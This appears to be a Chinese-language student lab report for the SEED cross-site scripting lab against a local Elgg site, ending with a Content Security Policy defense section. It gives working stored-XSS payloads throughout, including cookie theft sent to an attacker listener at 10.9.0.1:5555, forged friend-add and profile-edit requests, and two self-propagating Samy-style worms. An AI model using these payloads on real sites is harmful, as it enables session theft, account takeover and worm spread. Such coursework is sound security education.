 Attack)
1.1 启动Docker并进入docker环境,准备实验任务启动docker并进入实验环境检查容器、DNS和数据库设置命令cd Labsetupdcup截图dockps截图DNS和数据库检查sudo nano /etc/hosts截图2.1 Task 1: Posting a Malicious Message to Display an Alert Window任务根据任务书要求在elgg的profile中插入攻击代码实现弹窗。位置SEED命令 具体代码修改scriptalert(XSS);/script截图图1这是我们的攻击者账户AdaWang图2这是我们的受害者账户Boby图3修改前的个人档案注意要把HTML改成visual editor图4修改后的个人档案图5通过Boby帐号点进Ada主页后出现了预期弹窗结果说明点击Save时Elgg会刷新页面并重定向回Ada的个人主页Profile页面。因为这个脚本是存储型XSSStored XSS它已经被保存到了服务器的数据库里。页面刷新加载时浏览器会解析Ada主页的HTML代码读到scriptalert(XSS);/script这一行所以立即执行了弹窗。2.2 Task 2: Posting a Malicious Message to Display Cookies任务根据任务书要求在elgg的profile中插入攻击代码实现弹窗显示cookie环境SEED命令具体文件修改scriptalert(document.cookie);/script截图可以有多组图1修改AdaWang的profile图2攻击者本机弹窗图3受害者访问时弹窗结果说明代码中的document.cookie是JavaScript的一个属性它永远指向当前正在浏览这个页面的用户。当Boby访问时它读取的就是Boby浏览器里保存的Cookie。这证明了攻击者植入的代码可以在受害者的浏览器中获取其敏感隐私数据。2.3 Task 3: Stealing Cookies from the Victim’s Machine任务按任务书要求要求在elgg的profile中插入攻击代码实现窃取cookie。环境SEED命令nc -lknv 5555具体文件修改script document.write(img srchttp://10.9.0.1:5555?c escape(document.cookie) /); /script截图可以有多组图1攻击机启动监听图2修改攻击者主页profile图3保存修改后会在监听终端收到攻击者自己的cookie图4登录受害者帐号访问Ada的主页收到Boby的cookie结果说明这行代码在页面中创建了一个看不见的图片浏览器去加载这张“图片”时实际上会把Cookie拼接到攻击者的IP地址后面发往终端。保存修改后网页刷新后会看到自己的cookie登录受害者帐号后访问Ada的主页服务器端会收到受害者的cookie2.4 Task 4: Becoming the Victim’s Friend任务按任务书要求模仿myspace的samy攻击在samy的profile中插入攻击代码实现自动添加好友攻击环境SEED命令elgg.session.user.guid具体代码修改script typetext/javascript window.onload function () { var ts __elgg_ts elgg.security.token.__elgg_ts; var token __elgg_token elgg.security.token.__elgg_token; var adaGuid 59; var sendurl http://www.seed-server.com/action/friends/add?friend adaGuid ts token; var Ajax new XMLHttpRequest(); Ajax.open(GET, sendurl, true); Ajax.send(); } /script截图可以有多组图1F12得到Ada的GUID为59图2未添加好友时有一个add friend按钮图3通过F12捕获点击add时的请求图3捕获添加好友的GET请求格式得到elgg_ts和elgg_token图4修改攻击者profile图5点进Boby主页前好友列里没有Ada图6点进主页以后再退出发现Ada自动出现在好友列表了结果说明添加好友Samy Worm不自传播问题1: Explain the purpose of Lines À and Á, why are they are needed?它们是Elgg的CSRF跨站请求伪造防御令牌。服务器在处理添加好友等敏感操作时会验证这两个参数是否与当前会话匹配。如果没有它们服务器会返回403错误拒绝请求。我们的脚本通过elgg.security.token从受害者Boby的浏览器中自动读取了当前有效的令牌从而成功绕过了防御。问题2: If the Elgg application only provide the Editor mode for the About Me field, i.e., you cannot switch to the Text mode, can you still launch a successful attack?通常不能。因为编辑器模式会对输入进行转义如把变成lt;导致script变成普通文本而无法执行。除非编辑器本身存在其他漏洞如允许onerror 事件否则攻击会失败。2.5 Task 5: Modifying the Victim’s Profile任务按任务书要求模仿myspace的samy攻击在samy的profile中插入攻击代码实现自动修改profile攻击环境SEED命令具体代码修改script typetext/javascript window.onload function () { var userName name elgg.session.user.name; var guid guid elgg.session.user.guid; var ts __elgg_ts elgg.security.token.__elgg_ts; var token __elgg_token elgg.security.token.__elgg_token; var newDescription Hacked by AdaWang! ; var content description encodeURIComponent(newDescription); var accessLevel accesslevel[description]2; var adaGuid 59; // AdaWang 的 GUID if (elgg.session.user.guid ! adaGuid) { var sendurl http://www.seed-server.com/action/profile/edit; var params description encodeURIComponent(newDescription) guid userName ts token accessLevel; var Ajax null; Ajax new XMLHttpRequest(); Ajax.open(POST, sendurl, true); Ajax.setRequestHeader(Content-Type, application/x-www-form-urlencoded); Ajax.send(params); } } /script截图可以有多组图1捕获修改profile的POST请求格式图2修改攻击者profile图3访问完AdaWang的主页以后发现自己的profile被修改了结果说明修改受害者profile问题1: Why do we need Line À? Remove this line, and repeat your attack. Report and explain your observation.这行代码用来保护攻击者自己的资料不被篡改。如果去掉这行当AdaWang自己登录并查看自己的主页时脚本同样会执行向服务器发送修改资料的请求AdaWang自己的“About Me”会被覆盖成“Hacked by AdaWang!”。这会破坏Ada的主页导致她主页里的攻击代码被擦除后续其他人再访问她的主页时就无法被感染了。2.6 Task 6: Task 6: Writing a Self-Propagating XSS Worm任务按任务书要求模仿myspace的samy攻击使用link方法在samy的profile中插入攻击代码实现攻击代码的自动传播环境SEED命令mkdir worm_servercd worm_servercat worm.js EOF…EOF //这里文件内容简写了python3 -m http.server 8000Serving HTTP on 0.0.0.0 port 8000 (http://0.0.0.0:8000/) ...具体文件内容cat worm.js EOF window.onload function() { var ts __elgg_ts elgg.security.token.__elgg_ts; var token __elgg_token elgg.security.token.__elgg_token; var adaGuid 59; // Ada 的 GUID var currentGuid elgg.session.user.guid; var addUrl http://www.seed-server.com/action/friends/add?friend adaGuid ts token; var Ajax1 new XMLHttpRequest(); Ajax1.open(GET, addUrl, true); Ajax1.send(); if (currentGuid ! adaGuid) { var linkCode script srchttp://10.9.0.1:8000/worm.js\/script; var params description encodeURIComponent(linkCode) accesslevel[description]2 guid currentGuid name encodeURIComponent(elgg.session.user.name) ts token; var editUrl http://www.seed-server.com/action/profile/edit; var Ajax2 new XMLHttpRequest(); Ajax2.open(POST, editUrl, true); Ajax2.setRequestHeader(Content-Type, application/x-www-form-urlencoded); Ajax2.send(params); } }; EOF具体profile内容script srchttp://10.9.0.1:8000/worm.js/script截图可以有多组图1创建worm.json文件图2启动黑客服务器图3验证worm可访问图4修改攻击者profile图5Boby访问了Ada以后profile也被修改了结果说明自传播worm link方法注这种做法虽然简洁但一旦攻击者服务器被管理员发现并关闭所有蠕虫都会失活任务按任务书要求模仿myspace的samy攻击使用DOM方法在samy的profile中插入攻击代码实现攻击代码的自动传播环境SEED命令具体文件内容script idworm typetext/javascript window.onload function () { var headerTag script idworm typetext/javascript; var jsCode document.getElementById(worm).innerHTML; var tailTag \/script; var wormCode headerTag jsCode tailTag; var ts __elgg_ts elgg.security.token.__elgg_ts; var token __elgg_token elgg.security.token.__elgg_token; var guid guid elgg.session.user.guid; var userName name encodeURIComponent(elgg.session.user.name); var adaGuid 59; // Ada 的 GUID var currentGuid elgg.session.user.guid; var addUrl http://www.seed-server.com/action/friends/add?friend adaGuid ts token; var Ajax1 new XMLHttpRequest(); Ajax1.open(GET, addUrl, true); Ajax1.send(); if (currentGuid ! adaGuid) { var params description encodeURIComponent(wormCode) accesslevel[description]2 guid userName ts token; var editUrl http://www.seed-server.com/action/profile/edit; var Ajax2 new XMLHttpRequest(); Ajax2.open(POST, editUrl, true); Ajax2.setRequestHeader(Content-Type, application/x-www-form-urlencoded); Ajax2.send(params); } }; /script截图可以有多组图1修改攻击者profile图2Boby访问完Adaprofile里出现了worm代码图3Circe访问Boby后profile里也出现了worm实现了自传播结果说明自传播wormDOM方法2.7 Task 7: Defeating XSS Attacks Using CSP*5分任务按任务书要求架设CSP实验环境访问实验页面按任务书要求执行实验步骤观察实验结果理解CSP防御效果环境SEED命令chown www-data:www-data /var/www/csp/*.html /var/www/csp/*.php /var/www/csp/*.jschmod 644 /var/www/csp/*.html /var/www/csp/*.php /var/www/csp/*.jsservice apache2 restartnano /etc/apache2/sites-available/apache_csp.conf截图可以有多组图1、2、3这里是因为文件权限问题出现了报错我们进行一个简单的调整图4example32a图5example32b图6example32c图7修改apache配置文件图8具体修改内容展示增加example60图9修改后example32b的5、6显示正常图10修改example32c的PHP代码图11具体修改内容展示增加example60图12修改后example32b的1、2、4、5、6显示正常结果说明example32a没有任何CSP策略所有脚本内联、外部、带nonce的、不带 nonce的全部允许执行。Apache配置了script-src self *.example70.com4同源脚本允许6来自 example70允许1、2内联带 nonce 但没配置 nonce 白名单禁止3纯内联禁止5来自 example60禁止CSP防御CSP内容安全策略通过让Web服务器在HTTP响应头中声明一个白名单明确告诉浏览器“哪些来源的脚本是可信的、可以被执行的”从而从根本上限制了恶意代码的执行空间。具体机制包括1、禁止不可信的内联脚本通过script-src策略默认禁止所有内联script代码除非开发者显式提供匹配的nonce或hash。攻击者注入的scriptalert(1)/script由于没有合法的nonce会被浏览器直接拒绝执行。2、限制外部脚本来源通过script-src白名单如self、example60.com浏览器只会加载并执行来自可信域的脚本。攻击者即使注入script srchttp://evil.com/xss.js浏览器也会因为该域名不在白名单中而拒绝加载。3、禁止危险的内联事件CSP 默认禁止onclick、onerror等 HTML 事件属性以及javascript: 伪协议堵死了另一条常见的XSS利用路径。4、禁止动态代码执行CSP 还可以通过unsafe-eval策略控制eval()等函数的使用进一步收紧安全边界。通过这种“信任白名单”机制CSP 有效分离了“数据”与“代码”使得即使攻击者成功将恶意内容注入页面浏览器也会因违反策略而拒绝执行从而大幅降低 XSS 攻击的风险。